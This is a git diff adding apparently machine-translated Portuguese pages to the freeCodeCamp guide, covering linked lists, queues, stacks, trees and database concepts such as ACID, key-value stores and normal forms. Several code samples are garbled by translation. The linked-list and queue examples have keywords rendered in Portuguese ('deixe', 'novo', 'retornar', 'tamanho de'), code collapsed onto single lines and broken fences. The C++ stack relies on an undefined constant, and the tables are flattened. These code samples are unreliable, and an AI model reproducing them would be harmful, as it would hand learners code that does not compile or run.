+Now Execute code 
+```
+
+deixe LL = novo LinkedList ();
+```
+LL.addToHead(100); 
+ 
+ LL.addToHead(200); 
+ 
+ console.log(LL); 
+```
+
+```
+Representation in C: 
+ A linked list is represented by a pointer to the first node of the linked list. The first node is called head. If the linked list is empty, then value of head is NULL. 
+ Each node in a list consists of at least two parts: 
+ 1) data 
+ 2) pointer to the next node 
+ In C, we can represent a node using structures. Below is an example of a linked list node with an integer data. 
+ In Java, LinkedList can be represented as a class and a Node as a separate class. The LinkedList class contains a reference of Node class type 
+```
+
+C // Um ​​nó da lista ligada Nó struct { dados int; struct Node \* next; };
+```
+# Linked List with three elements 
+```
+
+c // Um ​​programa C simples para introduzir // uma lista encadeada
+
+# incluir
+
+# incluir
+
+Nó struct { dados int; struct Node \* next; };
+
+// Programa para criar um link simples // lista com 3 nós int main () { struct Node \* head = NULL; struct Node \* second = NULL; struct Node \* third = NULL;
+
+// aloca 3 nós no heap  
+head = (struct Node _) malloc (tamanho de (struct Node)); segundo = (struct Node_ ) malloc (sizeof (struct Node)); terceiro = (struct Node \*) malloc (sizeof (struct Node));
+
+/ \* Três blocos foram alocados dinamicamente. Nós temos ponteiros para esses três blocos como primeiro, segundo e terceiro  
+cabeça segundo terço | | | | | | + --- + ----- + + ---- + ---- + + ---- + ---- + | # | # | | # | # | | # | # | + --- + ----- + + ---- + ---- + + ---- + ---- +
+
+\# representa qualquer valor aleatório. Os dados são aleatórios porque não atribuímos nada ainda \* /
+
+head-> data = 1; // atribui dados no primeiro nó cabeça-> próximo = segundo; // Link primeiro nó com o segundo nó
+
+/ \* dados foram atribuídos à parte de dados do primeiro bloco (bloco apontada pela cabeça). E o próximo ponteiro do primeiro bloco aponta para segundo. Então, ambos estão ligados.
+```
+   head          second         third 
+    |              |              | 
+    |              |              | 
+ +---+---+     +----+----+     +-----+----+ 
+ | 1  | o----->| #  | #  |     |  #  | #  | 
+ +---+---+     +----+----+     +-----+----+ 
+```
+
+\* /
+
+segundo-> dados = 2; // atribui dados ao segundo nó segundo-> próximo = terceiro; // Link do segundo nó com o terceiro nó
+
+/ \* dados foram atribuídos à parte de dados do segundo bloco (bloco apontado por segundo). E o próximo ponteiro do segundo bloco aponta para o terceiro bloco.  
+Então todos os três blocos estão ligados.
+```
+   head         second         third 
+    |             |             | 
+    |             |             | 
+ +---+---+     +---+---+     +----+----+ 
+ | 1  | o----->| 2 | o-----> |  # |  # | 
+ +---+---+     +---+---+     +----+----+      */ 
+```
+
+terceiro-> dados = 3; // atribui dados ao terceiro nó third-> next = NULL;
+
+/ \* dados foram atribuídos à parte de dados do terceiro bloco (bloco apontado em terceiro). E próximo ponteiro do terceiro bloco é feito NULL para indicar que a lista vinculada é terminada aqui.
+```
+ We have the linked list ready. 
+ 
+       head 
+         | 
+         | 
+    +---+---+     +---+---+       +----+------+ 
+    | 1  | o----->|  2  | o-----> |  3 | NULL | 
+    +---+---+     +---+---+       +----+------+ 
+ 
+ 
+ Note that only head is sufficient to represent the whole list.  We can 
+ traverse the complete list by following next pointers.    */ 
+```
+
+return 0; } \`\` \`
+
+#### Mais Informações:
+
+*   [Introdução às listas vinculadas](http://www.geeksforgeeks.org/linked-list-set-1-introduction/)
+*   [Listas vinculadas (vídeo do YouTube)](https://www.youtube.com/watch?v=njTh_OwMljA)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/data-structures/queues/index.md b/client/src/guide/portuguese/computer-science/data-structures/queues/index.md
new file mode 100644
index 0000000000..ee491c1a21
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/data-structures/queues/index.md
@@ -0,0 +1,46 @@
+---
+title: Queues
+localeTitle: caudas
+---
+## Filas
+
+Fila é uma Estrutura de Dados First In First Out (FIFO). Muitos algoritmos usam filas em seu núcleo para melhorar o desempenho.
+
+A fila é um dos tipos abstratos de dados abstratos (ADT). É semelhante a filas que temos em filmes ou supermercados. A primeira pessoa a chegar será servida primeiro, certo? Da mesma forma, o primeiro elemento a ser inserido será removido primeiro. Existem vários tipos de filas, como
+
+1.  Fila Simples (ou Fila)
+2.  Fila Circular
+3.  Fila de prioridade
+4.  Dequeue (fila dupla terminada)
+
+Se você puder entender a fila simples (que daqui em diante será chamada de 'Fila'), todas as outras serão igualmente fáceis, com poucas modificações.
+
+As operações mais comuns disponíveis na fila são,
+
+1.  Adicionar / Oferecer - insere um elemento no final da fila.
+2.  Remover / Pesquisar - Remove um elemento do começo da fila.
+3.  Peek - Retorna o elemento no início da fila, mas não o remove.
+4.  Tamanho / Contagem - Retorna o número de elementos atualmente presentes na fila.
+5.  IsEmpty - Verifique se a fila está vazia ou não.
+
+A implementação de uma fila é possível usando arrays ou listas vinculadas. A seguir, uma implementação de matriz simples da estrutura de dados da fila com suas operações mais comuns.
+
+\`\` \`JavaScript  
+var Queue = function () { var queue = \[\]; var front = 0; var back = 0; Retorna { isEmpty: function () { retornar frente> = voltar || queue.length === 0; } add: function (elem) { / \* Você também pode fazer queue.push (elem) em JavaScript. É assim que eles fazem em outros idiomas \* / fila \[voltar ++\] = elem; } remove: function () { if (! this.isEmpty ()) { fila de retorno \[frente ++\]; // ou queue.shift () } outro { throw new Error ("Fila está vazia"). } } espiada: function () { if (! this.isEmpty ()) { fila de retorno \[frente\]; } } } };
+
+var queue = new Fila (); console.log (queue.isEmpty ()); // verdade queue.add (1); fila.add (2); console.log (queue.remove ()); // 1 console.log (queue.peek ()); // 2 console.log (queue.remove ()); // 2 console.log (queue.remove ()); // exception \`\` \`
+
+#### Aplicações
+
+*   Simulação
+*   Agendamento (Job Scheduling, Disk Scheduling)
+*   Gestão Compartilhada de Recursos
+*   Buffer do Teclado
+*   Largura Primeira Pesquisa
+*   Para lidar com o congestionamento na rede
+
+#### Mais Informações:
+
+*   [Mais informações sobre filas - GeeksForGeeks](http://www.geeksforgeeks.org/queue-data-structure/)
+*   [Resolva Desafios Usando Filas - Hackerrank](https://www.hackerrank.com/domains/data-structures/queues)
+*   [Vídeo do HackerRank Stacks and Queues](https://www.youtube.com/watch?v=wjI1WNcIntg)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/data-structures/stacks/index.md b/client/src/guide/portuguese/computer-science/data-structures/stacks/index.md
new file mode 100644
index 0000000000..aa8c89efaf
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/data-structures/stacks/index.md
@@ -0,0 +1,115 @@
+---
+title: Stacks
+localeTitle: Pilhas
+---
+## Pilhas
+
+Stacks é uma Estrutura de Dados First In Last Out (FILO). É uma estrutura de dados linear.
+
+Você pode imaginar uma pilha como as placas de maneira foram organizadas em restaurante buffet. Você só pode escolher a placa no topo, caso contrário a pilha entrará em colapso. Geralmente, o último item a ser inserido será removido primeiro.
+
+Algumas operações básicas da pilha são:
+
+1.  Push - Insere um item no topo da pilha.
+2.  Pop - Remove um item no topo da pilha.
+3.  isEmpty - verifica se a pilha está vazia ou não
+4.  Tamanho - Retorna o número de itens na pilha (Todas as operações podem ser feitas no tempo O (1))
+
+A implementação de uma pilha é possível usando arrays ou listas vinculadas. A seguir, uma implementação de matriz simples da estrutura de dados da pilha com suas operações mais comuns.
+
+```C++
+//Stack implementation using array in C++ 
+ //You can also include<stack> and then use the C++ STL Library stack class. 
+ 
+ #include <bits/stdc++.h> 
+ 
+ using namespace std; 
+ 
+ class Stack { 
+    int t; 
+    int arr[MaxN]; 
+ public: 
+    Stack() { 
+        t = 0; 
+    } 
+    int size() { 
+        return t; 
+    } 
+    bool isEmpty() { 
+        return t < 1; 
+    } 
+    int top() { 
+        return arr[t]; 
+    } 
+    void push(int x) { 
+        if (++t >= MaxN) { 
+            cout << "Stack is full" << '\n'; 
+            return; 
+        } 
+        arr[t] = x; 
+    } 
+    void pop() { 
+        arr[t--] = 0; 
+    } 
+ }; 
+ 
+ int main() { 
+    Stack st; 
+ 
+    st.push(4); 
+    st.push(3); 
+    st.push(5); 
+    while (!st.isEmpty()) { 
+        cout << st.size() << ' ' << st.top() << '\n'; 
+        st.pop(); 
+    } 
+    return 0; 
+ } 
+```
+
+#### Usando matrizes como pilhas
+
+Em algumas linguagens de programação, uma matriz possui a funcionalidade de pilha, permitindo que o desenvolvedor realize operações **push** e **pop** sem a necessidade de uma estrutura de dados de pilha personalizada.
+
+Por exemplo, uma matriz em JavaScript possui métodos **push** e **pop** , permitindo implementar facilmente a funcionalidade de pilha em um aplicativo.
+
+```js
+stack = []; 
+ 
+ let i = 0; 
+ while(i < 5) 
+  stack.push(i++); 
+ 
+ while(stack.length) { 
+  stack.pop(); 
+ } 
+```
+
+Uma lista no Python também pode executar a funcionalidade de pilha em um aplicativo. Em vez de **push** , pode-se usar o método **append** .
+
+```python
+stack = [] 
+ 
+ for i in range(5): 
+    stack.append(i) 
+ 
+ while len(stack): 
+    stack.pop() 
+```
+
+#### Aplicações
+
+*   Transforme a recursão em loop.
+*   Recursos de refazer desfazer.
+*   Solucionador de Sudoku
+*   Primeira pesquisa de profundidade.
+*   Travessias de árvores
+*   Expressão Infix -> Expressão Prefixo / Postfix
+*   Parênteses válidos
+
+#### Mais Informações:
+
+*   [Mais informações sobre pilhas - GeeksForGeeks](http://www.geeksforgeeks.org/stack-data-structure/)
+*   [Pilha - Wikipedia](https://en.wikipedia.org/wiki/Stack_(abstract_data_type)
+*   [Tower of Hanoi Problem e como a solução usa pilhas e recursões](https://en.wikipedia.org/wiki/Tower_of_Hanoi)
+*   [Vídeo do HackerRank Stacks and Queues](https://www.youtube.com/watch?v=wjI1WNcIntg)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/data-structures/trees/index.md b/client/src/guide/portuguese/computer-science/data-structures/trees/index.md
new file mode 100644
index 0000000000..4a7533c884
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/data-structures/trees/index.md
@@ -0,0 +1,72 @@
+---
+title: Trees
+localeTitle: Árvores
+---
+# Árvores
+
+Uma estrutura de dados em árvore pode ser definida recursivamente (localmente) como uma coleção de nós (começando em um nó raiz), onde cada nó é uma estrutura de dados que consiste em um valor, junto com uma lista de referências a nós (os "filhos") , com as restrições de que nenhuma referência é duplicada e nenhuma aponta para a raiz. Uma árvore sem nós é chamada de árvore nula ou vazia.
+
+Uma árvore binária é uma estrutura de dados não linear que consiste em nós, onde cada nó possui os seguintes 3 componentes:
+
+**Elemento de dados** : armazena qualquer tipo de dados no nó **Ponteiro esquerdo** : aponta para a subárvore no lado esquerdo do nó **Ponteiro** para a **direita** : aponta para a subárvore no lado direito do nó Como o nome sugere, o elemento de dados armazena qualquer tipo de dado no nó. Os ponteiros esquerdo e direito apontam para árvores binárias no lado esquerdo e direito do nó, respectivamente.
+
+Se uma árvore estiver vazia, ela é representada por um ponteiro nulo.
+
+## Terminologia usada nas árvores:
+
+**Raiz** : O nó superior de uma árvore.
+
+**Criança** : Um nó conectado diretamente a outro nó ao se afastar da raiz.
+
+**Pai** : A noção inversa de uma criança.
+
+**Irmãos** : Um grupo de nós com o mesmo pai.
+
+**Descendente** : Um nó acessível por processo repetido de pai para filho.
+
+**Antepassado** : Um nó acessível por processo repetido de filho para pai.
+
+**Filial** (nó interno): Um nó de uma árvore que possui nós filhos.
+
+**Folha** (menos comumente chamado de nó externo): Um nó sem filhos.
+
+**Grau** : O número de subárvores de um nó.
+
+**Borda** : A conexão entre um nó e outro.
+
+**Caminho** : Uma sequência de nós e arestas conectando um nó com um descendente.
+
+**Nível** : O nível de um nó é definido por 1 + (o número de conexões entre o nó e a raiz).
+
+**Altura da árvore** : A altura de uma árvore é a altura do seu nó raiz.
+
+**Profundidade** : A profundidade de um nó é o número de arestas do nó raiz da árvore para o nó.
+
+**Floresta** : Uma floresta é um conjunto de árvores disjuntas n ≥ 0.
+
+### Alguns tipos populares de árvores:
+
+*   Árvore binária
+*   Árvore de busca binária
+*   Árvore AVL
+*   Árvore negra vermelha
+*   Árvore Splay
+*   Huffmann Tree
+
+### Usos comuns
+
+*   Representando dados hierárquicos
+*   Armazenar dados de uma maneira que facilite a pesquisa
+*   Representando listas de dados classificadas
+*   Algoritmos de roteamento
+
+### Código de um nó de árvore
+
+\`\` \`c\_cpp nó de estrutura { dados int; // elemento de dados struct node \* esquerda; // Ponteiro para o nó esquerdo struct node \* direito; // Ponteiro para o nó direito };
+
+\`\` \`
+
+#### Mais Informações:
+
+*   [Notas da lição da CMU](http://www.cs.cmu.edu/~clo/www/CMU/DataStructures/Lessons/lesson4_1.htm)
+*   [Wikipedia](https://en.wikipedia.org/wiki/Tree_(data_structure))
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/databases/acid/index.md b/client/src/guide/portuguese/computer-science/databases/acid/index.md
new file mode 100644
index 0000000000..a46be98de4
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/databases/acid/index.md
@@ -0,0 +1,30 @@
+---
+title: ACID
+localeTitle: ÁCIDO
+---
+## ÁCIDO
+
+Na ciência da computação, o ACID (Atomicidade, Consistência, Isolamento, Durabilidade) é um conjunto de propriedades para modificações no banco de dados. Eles ajudam a garantir a validade de uma transação, mesmo com erros ou falhas.
+
+Uma **transação** é qualquer sequência de operações do banco de dados que satisfaça as propriedades do ACID e pode ser visualizada como uma única operação lógica nos dados. Um exemplo é uma transferência de fundos de uma conta bancária para outra. Isso envolve várias alterações, como debitar uma conta e creditar outra, mas é considerado uma única transação.
+
+### Atomicidade
+
+Isso significa que uma transação complexa é processada completamente ou não é de todo. Se uma parte da transação falhar, a transação inteira não será concluída e o banco de dados permanecerá inalterado. Dessa forma, se houver um travamento, falha de energia ou erro, o banco de dados não terminará em um estado em que apenas partes de uma transação serão concluídas.
+
+### Consistência
+
+Isso significa que os dados serão consistentes. Quaisquer dados inseridos no banco de dados devem ser válidos e permitidos com base em quaisquer restrições especificadas. Ele garante que qualquer transação altere o banco de dados de um estado válido para outro estado válido.
+
+### Isolamento
+
+Isso significa que, se duas transações forem executadas ao mesmo tempo, uma transação não poderá ler dados de uma transação que ainda não foi concluída. Cada transação verá o banco de dados como se as transações estivessem executando sequencialmente. Se uma transação precisar ler os dados que o outro está gravando, ela terá que esperar até que a outra transação seja concluída. Os efeitos de uma transação incompleta não afetarão outra transação.
+
+### Durabilidade
+
+Isso significa que, uma vez concluída a transação, ela permanecerá assim, mesmo no caso de perda de energia ou outros erros. Ele garante que todas as alterações sejam registradas em um meio de armazenamento não volátil (como um disco rígido) e faz um registro da transação concluída.
+
+### Mais Informações:
+
+*   Artigo ACID: [Wikipedia](https://en.wikipedia.org/wiki/ACID)
+*   Visão geral do vídeo: [YouTube](https://www.youtube.com/watch?v=LSB4eceRsw8)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/databases/column-databases/index.md b/client/src/guide/portuguese/computer-science/databases/column-databases/index.md
new file mode 100644
index 0000000000..d1abbff35f
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/databases/column-databases/index.md
@@ -0,0 +1,11 @@
+---
+title: Column Databases
+localeTitle: Bancos de dados da coluna
+---
+## Bancos de dados da coluna
+
+Bancos de dados orientados a colunas são projetados para retornar dados com eficiência para um número limitado de colunas. Ele faz isso armazenando todos os valores de uma coluna juntos. Um banco de dados orientado por coluna será excelente em operações de leitura em um número limitado de colunas, no entanto, a operação de gravação será dispendiosa em comparação com bancos de dados orientados a linhas.
+
+#### Mais Informações:
+
+Por favor, visite a página Wikipedia do [DBMS orientada por colunas](https://en.wikipedia.org/wiki/Column-oriented_DBMS) para mais informações.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/databases/document-store-databases/index.md b/client/src/guide/portuguese/computer-science/databases/document-store-databases/index.md
new file mode 100644
index 0000000000..5488447b24
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/databases/document-store-databases/index.md
@@ -0,0 +1,24 @@
+---
+title: Document Store Databases
+localeTitle: Bancos de Dados do Armazenamento de Documentos
+---
+## Bancos de Dados do Armazenamento de Documentos
+
+Um banco de dados de armazenamento de documentos é considerado mais um tipo de banco de dados NoSQL que é muito semelhante a um banco de dados Key Value. Um registro em um armazenamento de documentos representa um único documento estruturado que pode ser diferente de todos os outros documentos no banco de dados. Ao contrário de um banco de dados relacional, não há mapeamento de objetos para várias tabelas no banco de dados. Em vez disso, podemos pegar o objeto inteiro e escrevê-lo diretamente em um banco de dados de armazenamento de documentos.
+
+Por exemplo, poderíamos ter o seguinte objeto dentro do nosso código.
+
+```json
+{ 
+    "name": "freeCodeCamp", 
+    "job": "contributor" 
+ } 
+```
+
+Esse objeto inteiro pode ser gravado diretamente em um banco de dados de armazenamento de documentos sem análise adicional.
+
+#### Mais Informações:
+
+[MongoDB](https://www.mongodb.com/document-databases)
+
+[Elasticsearch](https://www.elastic.co/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/databases/fault-tolerance/index.md b/client/src/guide/portuguese/computer-science/databases/fault-tolerance/index.md
new file mode 100644
index 0000000000..3e2f47b838
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/databases/fault-tolerance/index.md
@@ -0,0 +1,18 @@
+---
+title: Fault Tolerance
+localeTitle: Tolerância ao erro
+---
+## Tolerância ao erro
+
+Tolerância a falhas é a propriedade que permite que um sistema continue sua operação pretendida, possivelmente em um nível reduzido, em vez de falhar completamente, quando alguma parte do sistema falhar.
+
+Um **banco de dados** é tolerante a falhas quando pode acessar um fragmento secundário quando o principal não está disponível.
+
+Isto é conseguido através de:
+
+*   Replicação de Banco de Dados
+*   Detecção de falhas e failover
+
+Um banco de dados que mantém várias cópias de todos os dados em diferentes nós físicos localizados em sub-sistemas físicos independentes, como racks de servidores e roteadores de rede, tem maior probabilidade de continuar operando quando a cópia primária dos dados está indisponível devido à sua capacidade de ler dados de várias replicações.
+
+Em sistemas de distribuição em grande escala, torna-se cada vez mais importante ter sistemas confiáveis ​​de detecção de falhas que possam identificar unidades de armazenamento com falha e fornecer unidades de failover para maximizar o tempo de atividade do serviço.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/databases/graph-databases/index.md b/client/src/guide/portuguese/computer-science/databases/graph-databases/index.md
new file mode 100644
index 0000000000..1934f56181
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/databases/graph-databases/index.md
@@ -0,0 +1,11 @@
+---
+title: Graph Databases
+localeTitle: Banco de dados de gráficos
+---
+## Banco de dados de gráficos
+
+Um banco de dados gráfico é um banco de dados que usa estruturas gráficas para consultas semânticas com nós, arestas e propriedades para representar e armazenar dados. Um conceito-chave do sistema é o gráfico (ou borda ou relacionamento), que relaciona diretamente os itens de dados na loja. Os relacionamentos permitem que os dados na loja sejam vinculados diretamente e, em muitos casos, recuperados com uma operação.
+
+#### Mais Informações:
+
+*   [Banco de dados de gráficos](https://en.wikipedia.org/wiki/Graph_database)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/databases/index.md b/client/src/guide/portuguese/computer-science/databases/index.md
new file mode 100644
index 0000000000..1b8713ad99
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/databases/index.md
@@ -0,0 +1,11 @@
+---
+title: Databases
+localeTitle: Bancos de dados
+---
+## Bancos de dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/databases/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/databases/indexes/index.md b/client/src/guide/portuguese/computer-science/databases/indexes/index.md
new file mode 100644
index 0000000000..b08ef4ffb0
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/databases/indexes/index.md
@@ -0,0 +1,21 @@
+---
+title: Indexes
+localeTitle: Índices
+---
+## Índices
+
+Um **índice de banco de dados** é uma estrutura de dados que melhora a eficiência das recuperações de dados em uma tabela de banco de dados. Uma tabela de banco de dados pode ter mais de um índice e um índice pode ser criado em uma ou mais colunas de uma tabela de banco de dados.
+
+### Como os índices funcionam?
+
+Agora imagine que você está em uma biblioteca onde os livros não estão organizados em uma ordem predeterminada. Se você tivesse a tarefa de encontrar um livro, teria de ir de prateleira em prateleira para localizá-lo. Isso pode ser bom quando há apenas algumas prateleiras de livros, mas o processo é muito demorado se for uma biblioteca de vários andares.
+
+Por outro lado, assuma que os livros agora estão organizados pelo sobrenome do autor. Dado que você sabe o sobrenome do autor para o livro que está procurando, por exemplo "Carnegie", você pode procurar por "C" e depois pesquisar na prateleira específica. Você se salvou de passar por todas as prateleiras.
+
+### O tradeoff
+
+Conforme descrito anteriormente, um **índice** é uma estrutura de dados, portanto, ocupa espaço de armazenamento. Quanto mais índices são definidos, mais espaço de armazenamento é ocupado para manter a estrutura de dados. Outro custo vem na forma de atualizações adicionais (ou gravações) para manter os índices atualizados. Quando novos registros são adicionados a uma tabela que possui um índice, gravações adicionais são necessárias para atualizar a estrutura de dados do índice.
+
+#### Mais Informações:
+
+[Índice do banco de dados](https://en.wikipedia.org/wiki/Database_index)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/databases/key-value-databases/index.md b/client/src/guide/portuguese/computer-science/databases/key-value-databases/index.md
new file mode 100644
index 0000000000..f3da7bee2c
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/databases/key-value-databases/index.md
@@ -0,0 +1,54 @@
+---
+title: Key Value Databases
+localeTitle: Bancos de dados de valor-chave
+---
+## Bancos de dados de valor-chave
+
+Um banco de dados de valor-chave ou armazenamento de valor-chave é um tipo de [banco de](https://en.wikipedia.org/wiki/NoSQL) dados [NoSQL](https://en.wikipedia.org/wiki/NoSQL) que usa um armazenamento de chave / valor. Isso significa que os dados armazenados no banco de dados são uma coleção de pares de valores-chave.
+
+Esse tipo de estrutura de dados é usado em muitas linguagens de programação. Os pares de valores-chave são comumente conhecidos como matrizes associativas, dicionários ou hash. Por exemplo, considere um dicionário de números de telefone:
+
+| chave | valor | | ------------ | ------------- | | Rick | 1234555 | | Morty | 7754321 | | Verão | 5512377 |
+
+### A chave
+
+A `key` em um par de valores-chave deve ser exclusiva. Ter um identificador único permitirá que você acesse o valor associado a uma determinada chave.
+
+Em teoria, a chave pode ser o que você quiser. Uma chave pode ser uma string, uma seqüência binária, uma imagem, entre outras. No entanto, alguns bancos de dados podem impor limitações ao tipo de chaves que podem ser usadas.
+
+Aqui estão algumas recomendações:
+
+*   As chaves devem seguir uma convenção para ter consistência. As chaves em um dicionário de números de telefone devem sempre ser nomes e não uma combinação de nomes, endereços de e-mail e números.
+*   As chaves não devem ser muito longas ou você pode ter problemas de desempenho.
+*   As chaves não devem ser muito curtas ou você pode ter problemas de legibilidade.
+
+### O valor que
+
+O `value` em um armazenamento de valor-chave pode ser o que você quiser. Isso inclui strings, números, código, uma imagem, uma lista ou até mesmo outro par de valores-chave. Alguns bancos de dados permitem restringir o tipo de dados que pode ser armazenado.
+
+### Casos de Uso
+
+Bancos de dados de valor-chave podem ser usados ​​em vários cenários. Aqui está uma lista dos aplicativos mais comuns:
+
+*   Diretórios de telecomunicações.
+*   Perfis de usuários e informações da sessão.
+*   Conteúdo do carrinho de compras.
+*   Detalhes do produto ou comentários.
+*   Tabelas de encaminhamento do protocolo Internet (IP).
+*   Serviços de status de saúde ou configuração.
+
+### Exemplos
+
+Aqui estão alguns exemplos de bancos de dados que usam a abordagem de valor-chave:
+
+*   [Redis](https://redis.io)
+*   [Banco de dados Oracle NoSQL](https://www.oracle.com/database/nosql/index.html)
+*   [Cassandra](http://cassandra.apache.org) (híbrido entre bancos de dados orientados a valores-chave e coluna)
+*   [Voldemort](http://www.project-voldemort.com/voldemort/)
+*   [Loja Consul KV](https://www.consul.io/intro/getting-started/kv.html) (uma ferramenta com seu próprio armazenamento de valor-chave)
+
+#### Mais Informações:
+
+*   Bases de dados de valor-chave na [Wikipedia](https://en.wikipedia.org/wiki/Key-value_database)
+
+O banco de dados Key-Value é um banco de dados simples que usa um mapa ou um dicionário como o modelo de dados fundamental em que cada chave é associada a um e apenas um valor em uma coleção e é o tipo mais flexível de banco de dados NoSQL.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/databases/non-relational-databases/index.md b/client/src/guide/portuguese/computer-science/databases/non-relational-databases/index.md
new file mode 100644
index 0000000000..2ffaf44cf2
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/databases/non-relational-databases/index.md
@@ -0,0 +1,28 @@
+---
+title: Non-Relational-Databases
+localeTitle: Bancos de dados não relacionais
+---
+## Quando usar
+
+Se você está lidando com uma quantidade fenomenalmente enorme de dados, pode ser muito tedioso, e a probabilidade de erro (na forma de um problema de Incompatibilidade de Impedância de ORM) aumenta. Nessa situação, você pode precisar considerar ir com um banco de dados não relacional. Um banco de dados não relacional armazena dados sem mecanismos explícitos e estruturados para vincular dados de diferentes tabelas (ou buckets) entre si. Se o seu modelo de dados for muito complexo, ou se você tiver que desnormalizar seu esquema de banco de dados, os bancos de dados não relacionais podem ser o melhor caminho a percorrer.
+
+Outras razões para escolher um banco de dados não relacional incluem:
+
+*   A necessidade de armazenar matrizes serializadas em objetos JSON
+*   Armazenando registros na mesma coleção que possuem diferentes campos ou atributos
+*   Descobrir-se desnormalizando seu esquema de banco de dados ou codificando problemas de desempenho e escalabilidade horizontal
+*   Problemas facilmente pré-definindo seu esquema por causa da natureza do seu modelo de dados
+
+## Desvantagens
+
+Em bancos de dados não relacionais, não há associações como haveria em bancos de dados relacionais. Isso significa que você precisa realizar várias consultas e unir os dados manualmente em seu código - e isso pode ficar muito feio, muito rápido.
+
+## Bancos de Dados de Exemplo
+
+*   MongoDB
+*   NoSQL
+
+## Referências
+
+*   (https://www.pluralsight.com/blog/software-development/relational-non-relational-databases)
+*   (https://en.wikipedia.org/wiki/NoSQL)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/databases/normal-form/index.md b/client/src/guide/portuguese/computer-science/databases/normal-form/index.md
new file mode 100644
index 0000000000..efb9db8766
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/databases/normal-form/index.md
@@ -0,0 +1,68 @@
+---
+title: Normal Form
+localeTitle: Forma normal
+---
+## Forma normal
+
+A normalização foi introduzida pela primeira vez como parte do modelo relacional. É o processo de organizar tabelas de dados e colunas de uma maneira que reduz redundâncias e melhora a integridade. Isso pode ser feito através de:
+
+*   síntese: cria um design de banco de dados normalizado com base em um conjunto conhecido de dependências.
+*   decomposição: utiliza um design de banco de dados existente (insuficientemente normalizado) e o aprimora com base no conjunto conhecido de dependências
+
+Existem três formas normais comuns (1ª, 2ª e 3ª) mais uma forma bastante avançada chamada BCNF. Eles são progressivos: para se qualificar para a terceira forma normal, um esquema de banco de dados deve satisfazer as regras da segunda forma normal e assim por diante para a primeira forma normal.
+
+*   **1a forma normal** : as informações são armazenadas em uma tabela, cada coluna contém valores atômicos e não há grupos repetidos de colunas. Este :
+
+1.  Elimina grupos repetidos em tabelas individuais.
+2.  Cria uma tabela separada para cada conjunto de dados relacionados.
+3.  Identifica cada conjunto de dados relacionados com uma chave primária
+
+##### Exemplo
+
+Um design que viola a primeira forma normal, a coluna "telefone" não contém valores atômicos
+
+| ID do cliente | Primeiro nome | Sobrenome | Telefone | | ------------- | ------------ | ----------- | ---------- ---------------------------- | | 123 | Pooja | Singh | 555-861-2025, 192-122-1111 | | 789 | John | Doe | 555-808-9633 | | 456 | San | Zhang | (555) 403-1659, ramal 53; 182-929-2929 |
+
+Uma solução seria ter uma coluna extra para cada número de telefone. Mas então, isso irá repetir conceitualmente o mesmo atributo (número de telefone). Além disso, adicionar um número de telefone extra exigirá a reorganização da tabela adicionando mais colunas. Isso definitivamente não é uma prática.
+
+Outra solução é ter uma tabela separada para o cliente da associação <-> Telefone: Isso respeita o primeiro formulário normal e pode haver tantas linhas por cliente quantas forem necessárias.
+
+| ID do cliente | Primeiro nome | Sobrenome | | ------------- | ------------ | ----------- | | 123 | Pooja | Singh | | 789 | John | Doe | | 456 | San | Zhang |
+
+| ID do cliente | Telefone | | ------------- | ------------------------ | | 123 | 555-861-2025 | | 123 | 192-122-1111 | | 789 | 555-808-9633 | | 456 | (555) 403-1659, ramal 53 | | 456 | 182-929-2929 |
+
+*   **2ª forma normal** : A tabela está na primeira forma normal e todas as colunas não chave dependem da chave primária da tabela. Isso estreita o propósito da mesa.
+
+##### Exemplo
+
+Um design que viola a segunda forma normal. O nome completo do modelo é a chave primária, existem outras chaves candidatas como {manufacturer, model}. A coluna "País do fabricante" depende de uma coluna sem chave (o fabricante).
+
+| Fabricante | Modelo | Nome Completo do Modelo | País fabricante | | --------------------- | -------------- | ------------ ---------- | ---------------------- | | Forte | X-Prime | Forte X-Prime | Itália | | Forte | Ultraclean | Forte Ultraclean | Itália | | Dent-o-Fresh | EZbrush | EZbrush Dent-o-Fresh | EUA | | Kobayashi | ST-60 | Kobayashi ST-60 | Japão | | Hoch | Mestre dos dentes | Hoch Toothmaster | Alemanha | | Hoch | X-Prime | Hoch X-Prime | Alemanha |
+
+O design normalizado seria dividido em duas tabelas como as seguintes:
+
+| Fabricante | País fabricante | | --------------------- | ---------------------- | | Forte | Itália | | Dent-o-Fresh | EUA | | Kobayashi | Japão | | Hoch | Alemanha |
+
+| Fabricante | Modelo | Nome Completo do Modelo | | --------------------- | -------------- | ------------ ---------- | | Forte | X-Prime | Forte X-Prime | | Forte | Ultraclean | Forte Ultraclean | | Dent-o-Fresh | EZbrush | EZbrush Dent-o-Fresh | | Kobayashi | ST-60 | Kobayashi ST-60 | | Hoch | Mestre dos dentes | Hoch Toothmaster | | Hoch | X-Prime | Hoch X-Prime |
+
